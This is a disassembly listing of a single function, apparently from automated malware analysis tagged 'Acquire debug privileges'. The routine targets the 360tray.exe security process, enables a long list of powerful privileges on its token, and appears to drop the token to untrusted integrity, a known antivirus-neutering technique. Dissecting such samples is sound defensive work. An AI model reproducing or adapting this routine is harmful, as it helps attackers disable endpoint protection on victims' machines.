Function at 0x402240
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push str.360tray.exe
call section..text
add esp, 4
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x427a50
call fcn.004027d0
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x2c]
push edx
push 0xf01ff
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x28]
push ecx
push 0x4203cc
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov dword [ebp - 0x40], 1
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], 2
push 0
push 0
push 0x10
lea ecx, [ebp - 0x40]
push ecx
push 1
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 1
push str.SeDebugPrivilege
mov eax, dword [ebp - 0x2c]
push eax
call fcn.004021d0
add esp, 0xc
push 1
push str.SeChangeNotifyPrivilege
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.004021d0
add esp, 0xc
push 1
push str.SeTcbPrivilege
mov edx, dword [ebp - 0x2c]
push edx
call fcn.004021d0
add esp, 0xc
push 1
push str.SeImpersonatePrivilege
mov eax, dword [ebp - 0x2c]
push eax
call fcn.004021d0
add esp, 0xc
push 1
push str.SeLoadDriverPrivilege
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.004021d0
add esp, 0xc
push 1
push str.SeRestorePrivilege
mov edx, dword [ebp - 0x2c]
push edx
call fcn.004021d0
add esp, 0xc
push 1
push str.SeBackupPrivilege
mov eax, dword [ebp - 0x2c]
push eax
call fcn.004021d0
add esp, 0xc
push 1
push str.SeSecurityPrivilege
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.004021d0
add esp, 0xc
push 1
push str.SeSystemEnvironmentPrivilege
mov edx, dword [ebp - 0x2c]
push edx
call fcn.004021d0
add esp, 0xc
push 1
push str.SeIncreaseQuotaPrivilege
mov eax, dword [ebp - 0x2c]
push eax
call fcn.004021d0
add esp, 0xc
push 1
push str.SeTakeOwnershipPrivilege
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.004021d0
add esp, 0xc
push 1
push str.SeIncreaseBasePriorityPrivilege
mov edx, dword [ebp - 0x2c]
push edx
call fcn.004021d0
add esp, 0xc
push 1
push str.SeShutdownPrivilege
mov eax, dword [ebp - 0x2c]
push eax
call fcn.004021d0
add esp, 0xc
push 1
push str.SeAssignPrimaryTokenPrivilege
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.004021d0
add esp, 0xc
mov dword [ebp - 0x30], 0
xor edx, edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], edx
mov byte [ebp - 0x20], 1
mov byte [ebp - 0x1f], 1
mov byte [ebp - 0x19], 0x10
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x10], 0x20
lea edx, [ebp - 0x20]
mov dword [ebp - 0x14], edx
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
add eax, 8
push eax
lea ecx, [ebp - 0x14]
push ecx
push 0x19
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
call fcn.004016b0
call fcn.00401670
call fcn.00401230
call fcn.00401410
call fcn.00401520
mov esp, ebp
pop ebp
ret 0x10